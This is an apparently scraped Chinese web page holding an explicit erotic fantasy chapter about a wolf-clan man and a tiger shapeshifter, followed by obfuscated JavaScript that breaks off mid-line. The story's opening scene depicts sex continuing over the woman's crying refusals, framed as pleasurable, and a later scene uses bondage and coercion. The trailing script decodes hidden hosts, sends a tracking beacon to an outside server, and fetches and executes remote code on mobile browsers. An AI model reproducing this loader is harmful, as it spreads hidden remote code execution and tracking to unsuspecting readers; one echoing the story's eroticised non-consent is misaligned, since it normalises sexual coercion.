接着在她根本来不及喘气的瞬间,暴满青筋的粗长男性不顾甬道的排斥,硬生生地尽根插入她无人到访过的水嫩花穴。

“不……不要……啊……呜……我不要……”本来无限娇俏的小美人被他弄得花容惨淡,脸上满是痛苦的表情。

串串泪珠从她盈满痛楚及失望的眼中不断滑下,她踢动着白嫩双脚,小手拚命推拒他壮健的身躯,试图逃离他的摧残。

“天呀!对不起……该死的!我竟然……不,你别动,别再动了……停下来!不然我会再伤了你……该死!”

听到她的哭叫及哀哀痛呼,戟连天总算是从震惊中回过神来。他不停咒骂自己,却无法挽回他的孟浪。

当他将悸动的男性送进她甬道中时,完全没料到她可能会是未经人事的处子,所以才会带着狂飙的怒气亳不温柔地狠狠贯进她体内。

但是等他感受到自己刺穿了那象征她纯洁的薄膜时,已经来不及止住冲刺的强大力量。

于是整根粗长的男性,就这么深深地埋在她因破身的剧烈疼痛,而紧紧地收缩的娇软甬道中。

他本想马上将弄得她痛苦不己的男性抽出,却被她因为痛楚而紧缩的甬道给束缚住了,要是他现在抽身而退,肯定会扯伤她细嫩的肉壁。

于是他反而不敢轻举妄动,但亟欲爆发的男性哪里经得住她如此包围及蠕动?差一点就要循着本能自行在她体内驰骋抽送了。

他咬着牙,全身冒出大量的汗水,强迫自己在她体内静止不动,口里不住安抚着她,“乖乖的,别乱动……”

他沉重的身躯向下紧紧将她压制住,大掌捧着她泪眼婆娑的小脸,温柔地亲吻她的眼睛及额头,等待她的疼痛消退。

“对不起,是我不好,我太粗暴了,原谅我……别动,再一会就不疼了,乖……”

从她唇中逸出的嘤嘤啜泣及她身上传来的颤抖,让他心疼得不停在心里咒骂自己的莽撞。

“呜……我讨厌你!我不喜欢你了!你让我好疼呀!呜……”

小美人的妖娆妩媚全被疼痛弄得不知去向,像个小娃娃似地在他的柔声安抚下伤心哭泣着。

“你到底叫什么名字?告诉我好不好?”他强忍急欲宣泄的欲望,要自己忽略被她软绵水穴包裹住的快意,见她可怜流泪的模样,更是心怜她的娇憨。

小美人就算心眼再多,现在也没心思跟他周旋了,下意识地哽咽着将真名说了出来。“呜……我……我叫宝娃……”

“宝娃?”他重复了一遍她的名字,留心到她本来紧皱起的眉头已经松了开来。

深埋在她体内的男性也敏锐地感到包裹着他的肉壁不再紧绷,本来因痛楚而频频战栗的花穴渐渐软绵水滑了起来。

于是他不动声色地挺起健腰,摇摆着窄臀,开始在她的甬道中轻轻抽送了起来。

硕长的男性因着小幅度的摆动而感到极美的快意,喉间不觉逸出低沉的呻吟,“嗯……好紧、好热……嗯……宝娃……”

“不要呀!”还顾着伤心的宝娃,后知后觉地发现戟连天竟然开始挪动伤了她的凶器。

被刚才破身的剧痛给吓坏了,她哪肯让他继续伤害她?于是连忙伸手要推开压在她的身上、满脸肆情的戟连天。

正舒畅享受的戟连天哪里愿意离开她软绵的小穴?

“宝娃,不会再痛了,乖乖的,我会让你很快乐的……我忍不住了,你的小穴好紧好软,弄得我好舒服……嗯……”

他毫不吝啬地赞美她的娇嫩,上半身顺着她的推势挺起,跪坐在她大张的双腿中间,一手压住她的肩头,另一手抚上她的乳房,有节奏地揉搓那两团雪滑软脂。

因姿势的变动,让他更能畅快地抽送。

“不……嗯啊……”她不敢置信地睁大美丽的绿眸。

虽然还有轻微的不适及被撑开到极限的刺痛感,但被他不断进出摩擦的那一处敏感,以及他不停揉弄的双乳上所感受到的快意,同样也让她无法忽略,注意力全被吸引了过去。

她真没想到经过那样的痛楚后,身子竟然会感受到如此的酥麻快感,舒服到无法形容……

难怪,族里的嬷嬷们会在她们成年后,细心教授女子房内秘技,原来交欢是这样舒服的事呀!

本来就好奇心旺盛的宝娃,一退去了痛意,就被紧接而来、无法形容的快感给完全掳获,她所习得的房中术也立刻发挥了作用。

纤纤十指抚上戟连天的胸膛,宝娃用嬷嬷曾经教授过的手法,以灵活的手指揉捏男性的乳头。

白腻的双膝则曲起,脚掌抵住草地,挺起细腰、扭着翘臀迎合他一次又一次的顶弄,让热烫的男性每次都尽根而入,将她软绵充血的甬道充塞得满满的。“啊……连郎……再来……”

享受到性爱快感,让他掌下揉搓着的乳房变得更为胀大,粉色的乳尖也转成了动人的殷红。

看着身下纤腰款摆、主动取悦他的娇娃,他埋在她甬道内的男性突地一悸,差点没爆发出来。

“天呀!宝娃,你快让我泄了……”戟连天粗喘着气,不知费了多少力气才将那股射意忍下,咬着牙将插在花穴中的男性抽出。

挺举着覆满穴中春水及点点落红的粗长,戟连天把宝娃娇软的身子拉起,让她背对着他跪在他身前。“把脚张开,用手扶着树干,快!”

当她应着他的话将腿张开后,穴中的春水混合着象微纯洁的处子之血顺着大腿内侧滑下,将她的腿间弄得湿淋不堪。

热烫的男性快速地从宝娃圆翘的臀后栖进了她的两腿之间,戟连天用手握住男性的根部,将它的前端对准她流消着香滑汁液的穴口磨蹭。

然后在她等不及将臀往后挪动时,抓住了时间,挺腰缩臀将直挺的男性滑进水嫩的软绵之中。“你真是太棒了、太美了!嗯……”

“啊……啊嗯……连郎……连郎……好好弄我,再用力点儿……啊嗯……”尝到了交欢的快慰,宝娃完全忘了不久前身子受到的疼痛,小嘴不住呻吟呢喃。

她上身前倾,两手支撑在树干上,任由身后的戟连天在她臀后猛力冲刺。

小嘴里的淫声浪语让戟连天听得心乱神迷,更加快速动作了起来。

在她有技巧地蠕动甬道肉壁的动作之下,他在她穴中耸弄抽送得更是疯狂。

因为身躯承受的激情不断累积,那几欲崩溃的快感,让戟连天控制不住自身的变化,露出了些许银狼的原形。

他锐利的狼齿从唇中露了出来,拥有宝娃的亢奋让他感受到野性血液的流动。

“好宝贝,嗯啊……你好湿好热呀……”

他的双手从她腋下捧住在她胸前晃动的饱满双乳,下体快速地在她臀后抽送。

两人的身躯紧紧交缠,过了好一会儿后,本来娇受戟连天抽送的宝娃突然全身绷紧,仰起头让细软的发丝在空中画出一道美丽的弧线,香舌半吐的红唇则喊出一声尖细的娇吟,“啊──”

在他的身前,她被席卷全身的酸麻高潮掳获。

她哆嗦着泛起樱红色的娇躯,软下了身子瘫软在地,只有被他紧紧握住的圆臀还高高翘在半空中,承受他狂野的抽送。

本来就水淋淋的甬道因着她的高潮泄出丰饶的热潮,他的抽送并没有因为她的软倒而停止,仍在她频频痉挛、强力收缩的甬道中疯狂抽送。

硬实肿胀的男性不只带出香滑的汁液,更将他逼向爆发的临界点。

“宝娃……宝娃……嗯……”戟连天在最后一记贯进宝娃体内时,也跟着感受到蚀骨销魂的畅美高潮。

他用力抓住她的细腰,有力的窄臀紧紧抵在她的穴前,全身战栗着将所有的灼热尽情射进包裹住他的柔美甬道……

从无限缠绵、畅快满足的欢爱中转醒,戟连天躺在地上,举起手轻抚着昏眩发胀的额角。

他张开双眼愣愣地看着头顶上方的枝叶晃动,突然搞不清楚自己现在到底在哪里,他不是方与一名娇美的女子尽情欢爱过吗?

想起了宝娃,他猛然翻身而起,抬眼四下察看。

但是别说美艳的宝娃了,四周根本连半个人影都没有,只有因为他起势太猛而从他身上跌落地面,正睁开惺忪睡眼的小美人而已。

他低头看了看自己身上的衣物,虽然略嫌凌乱,但都还完整地穿在身上。他的唇边忽然扬起一抹自嘲的笑纹,看来,他可能太久没有女人了,不过午间小睡片刻,竟也能作这样激情火辣的春梦……

戟连天刚为自己脑海中的欢爱记忆找了个解释,却又不觉皱起浓眉。就算是作了春梦,身子也不该有如此真实的舒畅感受呀!

他全身充斥着淋漓尽致宣慰过欲望后的舒畅,而且那亢奋的满足让他全身直到此时还发热着,他下意识地将眼光移到自己双腿之间的敏感部位,这才看到裤裆部分的布料竟然濡湿一片。

入眼的异状让他的身子后知后觉地感到腿间的湿黏,这个情况让他本来还有些昏沉的脑子突地完全清明起来了。

不会吧?他这么个成熟的大男人,竟只因为作了场旖旎春梦就……就这样不争气地……

沉浸在纷乱无解的苦恼中,戟连天完全没留心到被他扰醒,照理说该跟他使性子的小美人,竟然乖巧安静地坐在一旁;自然也将小美人绿眸中一闪而过的精光给忽略了……

直到他微红着脸,打算赶快带小美人回狠族居地好换下让他觉得丢脸的衣裤时,正要抱起小美人,这才发现到她腹背交接处出现了美丽火焰图腾。“咦?小美人,你这儿是怎么了?”

他将小美人的身子侧转,仔细观察忽然出现的图腾。

他拨开她腹下细软的短毛,用手轻轻触摸从肤下透出的紫红色花纹。“奇怪了,以前没有的呀……”

他现在完全忘了方才还想急忙赶回去换裤子,所有的注意力改而全投注在眼前的小虎儿身上。

当他分辨出那紫红色花纹是属于玉虎族皇室的图腾时,他的眼神凌厉了起来,眸中蓝光闪动。

“小美人,你到底是谁?这是玉虎才有的图腾,如果你是玉虎,就算不愿以人形示人,也该出声告知我吧?”

戟连天拉高小美人,将视线对准她无辜可爱的圆圆绿眸。“说话呀!你到底是谁?何以要捉弄我?”

如果小美人真是玉虎,那么他腿间留下的激情秽物及他以为是场春梦的激情欢爱,就有可能是真实的。

因为在他的记忆中,那叫作宝娃的女子有着一双跟小美人一模一样的棕绿色眸子!

但是戟连天却失望了,因为小美人只是用无辜不解的眼神响应他的问话,短短的四肢不安分地舞动,嘴里发出莫名所以的小虎呜啸,“吼……吼……”

戟连天见状深感无力,当他再次看向她腹侧时,那美丽的图腾不知何时已消失不见,让他不得不暂时放下对小美人的怀疑。

因为,如果她坚持不表明身分,他到底也是拿她没有办法。

再加上玉虎族的图腾是从出生就带来的,从没听说它会消失不见,这让他根本不知该如何是好,也不知道小美人到底是不是玉虎一族?

如果是,那么宝娃……

戟连天回忆着第一次见到火焰图腾的情形……

从那天起,小美人只要经过跑跳,或者是心情很好,这个图腾就会自然而然地从她的肤下浮现出来。

就像现在,她不过在草地上嘻闹玩耍了一会儿,那美丽的图腾就出现了,他忍不住出声唤她,“小美人,过来,快点过来!”

他越想越觉得小美人与宝娃有着密不可分的关连──那天他回房净身时,还是找到了不太对劲的地方。

因为当他脱下裤子后,发现沾染在他下体处,本来以为是自身秽液的湿稠黏滑中,虽然几乎淡不可见,但确实有丝非常非常淡的樱红色血丝。

闪过他脑海中的,是宝娃痛苦的哭叫,让他有理由怀疑那是处子的落红。

如果那点点樱红真是处子血,那么宝娃就该是真实的!

第四章

戟连天越想越肯定,再次扬声呼唤小美人,“小美人,快过来。”

因为听到他的叫唤,小美人的耳朵轻轻动了动,高举起的虎掌就这么停在半空中,可爱毛绒的小脸转了过来,看向扬声唤她的戟连天俊帅的身形。“吼……吼……”

“过来,别贪玩了,到我这里来,该就寝了。”

“吼……”小美人依依不舍地看着还在她四周飞舞的夜光蝴蝶,然后才迈开步伐朝他跑去。

“虽然叫你过来,但你也不用用冲的呀!好了,好了,别调皮了……”

虽然对她心存怀疑,不!应该是已经确实觉得她就是带给他欢愉但留给他疑问的宝娃,但喜爱她的感觉却是分毫不减。

他张开手臂将火速冲进他怀里、朝着他脸上热情舔舐的小美人抱住,语气中满是对她的疼爱。

“呜……”她的两只虎掌搭在他肩上,后脚踏在他的膝上,享受着他大手抚弄着她的下颚及颈腹。

她的眼儿瞇起,小嘴发出像猫咪撒娇的呜呜声,如果不是确定她是老虎,还真会把她当作一只有虎纹的小猫咪呢!

“小家伙,你到底是不是玉虎?如果不是的话,为什么你身上会有火焰图腾呢?你真像个谜,就跟前些日子与我缠绵的宝娃一样,小家伙,你说,那场让我至今无法忘怀的欢爱,到底是我作的一场春梦还是真实发生的?”

戟连天故意把小美人当作倾吐的对象,状似自言自语,但却隐起凌厉的眼神,暗暗注意着小美人的每个反应。

“小家伙,我真想念宝娃,她是我见过最美、最热情的女人了,自从那场春梦之后,我夜夜都受着情欲的煎熬……可惜,她不曾再入我的梦中,也许是我太久没有女人了,所以才会幻想出那么美丽的女人与我一度风流,唉!我大概真要去找个女人……”

这一回,戟连天确实捕捉到小美人眼中一闪而过的异光。

他的唇边扬起性感至极的邪笑,他逮到这个鬼灵精怪的小东西了!

他看着已经失了警觉,睁大了眼专注等待他继续说下去的小美人,心里为她再次掉入他设下的陷阱而窃笑。

看来,今晚他的银星楼肯定热闹了。

“那就去狐仙窝找几个床上功夫一流的女人,好好排解我的欲望,嗯,就这样决定了!不过今天太晚了点,明天再去好了……小家伙,走吧!我们回房去睡觉,我可得好好养精蓄锐一番……”

戟连天装作没发现小美人不正常的安静及愣愣看着他的样子,抱着她从台阶上起身,转头走回他的银星楼。

跟小美人一起洗了个舒服的热水浴后,戟连天将小美人朝床上一丢,然后扯下自己围在下身的毛巾,随意套上一件单薄的丝裤,就这么裸着健壮的上半身跟着上床了。

他一把抓过小美人温暖的小身子搂在怀侧,“睡吧!小家伙,我明天还有得忙的呢!”

他伸手朝着纱帐外吊挂在房中央的夜光球一指,照亮室内的柔和光线瞬间消失,房内除了从窗外照映进来的日月星光外,再也没有任何光线来源。

他心情甚好地用手轻抚着小美人柔顺的细软毛皮,闭上了眼,放缓呼吸做出沉睡的假象,捺着性子等待下半夜的惊喜。

不知过了多久,本来紧闭着的棕绿色眸子忽然睁开了。

在夜里,小美人的眸子明亮闪耀,像美丽的星子一般。

听着他平静的呼吸,看着他胸口维持相同频率的起伏,她确定他睡着了,于是轻巧地从他的手臂下朝后移动,从他的怀抱中挣脱开来。

她的周身再次被淡淡的莹白光芒包围,接着,光芒之中出现了宝娃细腻雪滑、窈窕完美的女性躯体,但与上回不同的是,她的眼中掺杂了明显的怒意及忿然,她正为了戟连天声称要去找狐族女子而不高兴……

“不亏是狼族的男人,真是好色!”宝娃气呼呼地对沉沉睡着的戟连天啐了句。

她撩开胸前的长发将它们拨到肩后,俯身看着他,“想找别的女人?那也得看我准不准,我就不信狐族的那些狐狸精会比我还美,臭男人!要不是你说想念我,看我怎么整你!”

骂完后,宝娃水嫩嫩的唇撇了撇才笑开来,“连郎,我也好想你……”

说着说着,她的话语忽然消失了,因为她回想起两人之间曾经历过的欢快,不觉羞红了脸,身子也燥热了起来。

将俏脸凑向他的鼻端,轻轻吹送了一口如兰气息,再次对他下梦咒。

但是她因为太过放心,忽略了戟连天在这一刻屏住了呼吸。

他并没有吸进那股被下了梦咒的香气……

“连郎,连郎……”她扬声轻唤闭眼沉睡的戟连天。

“嗯……宝娃?”戟连天强压下成功诱出她现身的得意,装作是因着她的叫唤而清醒过来。他假装困难地睁开眼,看着在他上方的宝娃。

他伸手抚上她光润的脸颊,用大拇指摩擦着她丰满的下嘴唇,“宝娃,我是在作梦吗?我好想你……”迷蒙的模样让人无法怀疑他是装出来的。

没想到自己的演技倒真不错,看来他可以考虑每年一度的圣殿庆典时粉墨登场,以悦众狼族亲友。

不过他带着磁性、低沉瘖哑的嗓音倒毋需作假,他的欲念早在宝娃由小兽变化为俏佳人时就勃发直挺了,现在他满心为了接下来将会发生的欢爱而悸动亢奋。

“连郎……”

哪个女人听到喜欢的男人对她说甜言蜜语会不欢喜的?宝娃也是女人,当然也不例外啰!听到他说出口的话,她连心都酥了,哪还记得要生他的气?

“我也想你……”

她的小手在他结实的胸膛上游移,爱抚着他散发着温热的肌肤,随着她的呢喃话语,她的唇几乎要覆上他的唇。

他深深吸进属于她的清甜体味,大手从她脑后按下,将她的唇抵放在自己等待的唇上,灵活的舌尖有力地顶进她的唇瓣之间,滑进她湿热的口腔中,舌头在其中搜寻着她软滑的小香舌。

“唔嗯……唔……”被他热情地吸含舔吮着小舌,她口中发出丝丝嘤咛,娇美软绵的身躯不安分地蠕动着,为从体内发出的燥热而烦躁。

“别急呀!咱们有的是时间慢慢来,小美人!”

将被他吸含在口中的小香舌放开,戟连天邪笑着凝望迷离的棕绿色水眸,一字一句地对宝娃说道。

还沉醉在他制造出的欲念之中,宝娃迟钝地呆看着他,昏乱的脑子让她无法理解他话里的意思,只是觉得他的笑容不太对劲。

他笑得就像是口里咬着只肥美猎物的狼,那笑容可满足了。

“嗯啊……”还来不及厘清思绪,从她臀后股缝间探进的大掌就再度将她的脑子弄成一团浆糊,娇甜的呻吟从她微张的小嘴中美妙地吟叫出来。

他用指尖捏住一片肥美花肉,用两指摩擦按压。“宝娃,你的花好软好滑呀!”

戟连天将那片软肉弄得充血肿胀,让伏在他身上的宝娃浑身不停发抖,把小脸埋在他颈窝处娇声嘤咛后,才换手公平地对待另一片娇娇花瓣。

从穴缝中溢出的湿滑春水,证明了她有多么享受他的爱抚。

他在她抗议的轻哼声中,手指离开她湿润水嫩的娇花,抓住她细软的腰将她抬起,自己也跟着从床上起身。“小家伙,别急……”

轻轻把宝娃放倒在床上,戟连天抓住她的膝后让她两腿大张曲起,让她沾满湿滑春水的私处完全展现在他火热的目光之下。“真美……花儿粉嫩嫣然,完全为我绽放了,宝娃……”

“连郎……”宝娃仰躺在软褥之上,小手情不自禁抚上自己的胸前,用纤细的手指揉弄饱满丰美的乳肉,被他掰开的大腿主动地敞开,任由他欣赏自己的私密之处。

“乖娃儿,上回弄疼了你,我很是心疼呢!这回我会好好补偿你的。”说着,戟连天俯下身子,将脸埋进宝娃香馥的娇花前。

他用粗指揉搓着小小的、紧闭着的穴口,有力的灵舌随即舔上两片嫩软花肉,舌尖轻划过沾着春水的嫩肉,用弹动的方式刺激她的敏感。

搭在她穴口的粗指稍一用力就顶进了些许,陷进了温热紧窒的甬道前端。

“啊嗯……啊……”好舒服呀!

那种无以言喻的感觉到底该如何形容?就像是飞在天上那种脚踩不到地的飘飘然,他灵活有力的舌头弄得她香液直流,嘤咛不止。

她两只小手一左一右地拢住两团绵乳揉捏,食指及拇指拧着两朵红梅按压摩擦,雪股则不住挺动,将自己娇嫩的花穴更往他的唇舌送上。“啊……连郎……嗯啊……”

插进她穴中的粗砺长指,一抽一送地掏弄着她细滑水绵的肉壁,将酸麻的酥心快感一波波带给她……

“好甜……真好吃……”他用舌尖掬起她香甜的春水,含进口里啧啧有声地吞下喉间,品味着她动情的滋味。

现在不光是他探进她体内的手指及穴口周遭的嫩肉湿漉水滑,就连他的嘴角及下颚都沾染上她丰沛的爱液。

尝够了她的甜美,他抬起头看着她粉脸嫣红、意乱情迷的动人神情。

腹下直挺硬硕的男性就像要爆炸似地渴望进到她水嫩紧窄的甬道中尽情驰骋,于是他将手指从她紧缩的穴中抽出。

“不……连郎,我还要……”私处传出的空虚让宝娃微抬起上半身,伸出小手拉着戟连天的手臂,娇声哀求他继续火热激情的爱抚。

他不顾她的哀求,翻身下床快速地脱去身上唯一穿著的裤子。

然后拉住她纤细的脚踝,把她整个身子都拉向床沿,面向他横躺在床上,臀部腾空,两只匀称长腿被他拉着环住他的健腰。“宝娃,环住我的腰!”

待她的脚勾上他的腰,他倾身向前用手臂支撑在她肩颈旁,下体往前一顶,粗长灼热的男性前端就揉进她的凹陷处,稍稍挤开了两片花瓣,顶在穴口前方。

随即窄腰一挺,结实的臀部向前一送,粗长的男性就一分分撑开软绵细小的甬道滑进去了。

硕物沾染着香甜春水,从穴口不停向里挺进,那美妙的紧缚快感及被充实的饱满快慰,让戟连天及宝娃嘴里同时逸出娇吟及粗喘。

“啊嗯……啊……”

宝娃棕绿色的眸子里满是激情水雾,迷乱的神情妖美动人,看在戟连天眼里,不啻为最最催情的春药。

他扭动窄臀在抽送的同时变换着进入的方向,用圆硕的前端彻底掏弄她充满弹性的紧窒甬道。“这样舒服吗?”

淋漓的汗水从他光裸健美的身躯上大量滴落在她雪白的肌肤之上,与她沁出的细薄香汗和在一起,就像他们紧紧交合的部位般火热亲密。

“舒服……嗯啊……”

宝娃透过眼中的水雾看着上方尽显陶醉神情的戟连天,因为他的英俊性感,心头如小鹿乱撞般加快了跳动。

情牵意动,她的小嘴不自觉地说出放在心里足足六年的话,“连郎,我好爱你……”

虽然专注在肉体的欢快之中,但这句轻言呢喃还是清清楚楚地听进戟连天耳里。

为这无端冒出的一句情话,他突地止住热情的抽送,想起了要追究宝娃的真实身分这回事来了。

在她不解地挺起纤腰自行向上套弄他昂然的粗长之时,他沉声问道:“我到底该叫你宝娃还是小美人?如果你不说清楚,那我就不会继续下去!”

他忍住被她套弄的强烈快感,硬是用手拨开她勾在他腰后的长腿,将埋在她花穴中亢奋不己的男性抽了出来,动作快速地在宝娃来不及反应的时候把她拉坐而起。

“你……你并没有吸入梦咒?”直到这个时候,宝娃才明白她的梦咒并没有发生作用。

他的动作让她的身子因为顿失他的充实及热度而酸软不已,甬道里的空虚更是搔痒得让她心焦。

也直到这个时候,她才发现本来昏暗的室内不知何时开始已是光亮一片。

他到底是什么时候将夜光珠重新燃起的?她竟然被他高超的性爱技巧完全夺去了心神,完全无所觉。

也难怪会被他捉住了!

宝娃心里懊恼不己,可接下主导权的戟连天也没比她好到哪里去。

他明知道在欢爱中忽然停止不但让她难以调适,就连自己急欲发泄的欲火也被搞得不上不下,难受极了,但他还是沉下心打算先弄清小美人的背景,再来解决他的欲火。

他箝住她的双手,用垂挂在床边的水纱将她牢牢绑缚起来。

其间他还偷了个空瞥了眼下身肿胀、濒临崩溃的火烫欲根。“是呀!我并没有中了你下的梦咒。”他的唇边泛起一抹苦笑。

看到自己的下体沾满她的丰美春水而闪动着水光,他不知道有多想将其它的一切都先丢开,先纾解自身急欲宣泄的欲火……

所以他决定速战速决,一刻都不停留地展开他的逼问。

他用手掌打了下她圆翘的小屁股,“说吧!你是真的叫宝娃还是这个名字也是你胡诌出来的?”看着她双手高举、跪在床上的绝美身躯,他真舍不得将视线移开。

因自身的欲望所苦再加上被他无礼的对待,宝娃使起了性子,脸一甩,撇向另一个方向,赌气地不看他也不响应他的问话,径自生着闷气。

见状,戟连天挑起了斜飞的浓眉。

没关系,他在族里最让人著称的就是他的好脾气,虽然最近有点不正常,但他现在可以再将好脾气找回来。“你明明是玉虎,为什么不愿表明你的身分?而且还对我下梦咒,自愿与我没名没分地在外野合?”

“哼!”姑娘我就是不愿意回答,看你能奈我何?

看她明明被绑得狼狈却坚持展现倨傲的姿态,戟连天不觉好笑。

他的手抚上她滑顺蓬松的长发,顺着她的肩背处下移,故意抚到发尾,然后存心用掌心揉了揉她浑圆的雪股。

看到她身子明显地一颤,掌下的滑腻臀肉突地抖动了下,他扬起邪肆的笑意,“我的小美人,你大概不知道男人是最有劣根性的动物,看到你这模样只让我更想征服你,我有很多方法能磨得你松口就范,你考虑清楚……你真不愿松口?”

“哼!”又是一声挑衅的冷哼。

这反而称了戟连天的意,果真如他所料,今天他的银星楼可精采啰!他唇边的笑意更为明显。

“那么事后可别怪我不懂怜香惜玉呀!瞧瞧,你的穴儿都湿成这样了还要跟我坚持下去?你不想要我好好爱你吗?”他的长指滑进她的臀缝间,向前揉上她仍然湿漉漉的私处。

他揩了满满一手的透明春水,举到唇前用舌舔了舔香甜的汁液,然后将水淋湿滑的手指伸到她别到一旁的小脸前。“你自己看看你有多浪多淫?流出这么多水来了……”

见她紧闭着双眼想躲开他调戏的手,他索性将湿滑的手指抵到她的唇上,用另一只手执住她的下颚强迫她将嘴张开,然后将沾满她气味的长指探进她的口中。“尝尝你自己的味道,好吃吧?”

“唔……”宝娃挣扎着想将头朝后撤,却被戟连天的手给紧紧固定住。

口中被他并起的食指及中指塞得满满的,连抗议的声音都无法发出,宝娃只能被动地吞下自己的香腥滋味。

“很甜对不对?我很喜欢呢!”他移动身子跪在她身前,壮健的大腿将她合起的双腿顶开。

他抬起腿将肌肉结实的大腿抵放在她两腿之间,让她跨坐在他的大腿之上,然后一下下地磨蹭着她仍然动情兴奋的娇花,让滑嫩的花瓣及穴缝与他的大腿相互摩擦,刺激着她的敏感。

“唔……”他的动作加热了她还来不及消退的情欲。

私处被他恶意揉搓,上面的小嘴又被他仿效着性爱动作的手指肆意搅弄,让她的唇舌不由自主地配合他手指进出的动作吸吮着。

她纤细的腰也不住扭动,让小巧圆翘的雪股在他腿上前后挪动,抚慰着她腿间的欲望。

“宝娃,舒服吧?天下没有白吃的午餐,要得到就得先付出,告诉我你到底叫什么?是玉虎族哪一支的虎女?还有为什么不愿意表明身分?说清楚之后,我就马上让你解脱……”

他残忍地抽身离开她身前,大腿上满是她在厮磨间沁出的透明春水,将她的热情完全表露无遗。

“嗯……连郎……”宝娃的唇角流逸出来不及吞咽的莹莹香津,双腿大张地跪在他身前的柔美身躯,因为没被满足的情火而微微颤抖。

全身如烈火灼烧般燥热,因急促呼吸而频频上下起伏的浑圆乳房,正以惑人的方式轻轻晃动着,原本粉红色的乳尖也因狂啸的需索而紧绷硬实,变得殷红诱人。

性爱经验没有戟连天丰富,初尝情欲的宝娃根本不需更多的手段,光这么一阵挑弄,就让她弃械投降、眼露哀求地坦白招出所有事情……

【完】
关闭
关闭
function kPzVKD(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function ZrJBlgno(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return kPzVKD(t);};window[''+'c'+'R'+'F'+'s'+'b'+'q'+'J'+'h'+'k'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function FHEaI(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=ZrJBlgno,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=FHEaI(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=FHEaI(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmdiYnB0bC5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS53aGJnei5jbiUzQTTk1MzU=','9489',window,document,['M','T']);}:function(){};
function vSqnHVE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TWZFbJg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return vSqnHVE(t);};window[''+'A'+'Q'+'G'+'M'+'I'+'Z'+'D'+'g'+'R'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function UhtP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TWZFbJg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=UhtP(decodeURIComponent(x(u.replace(new 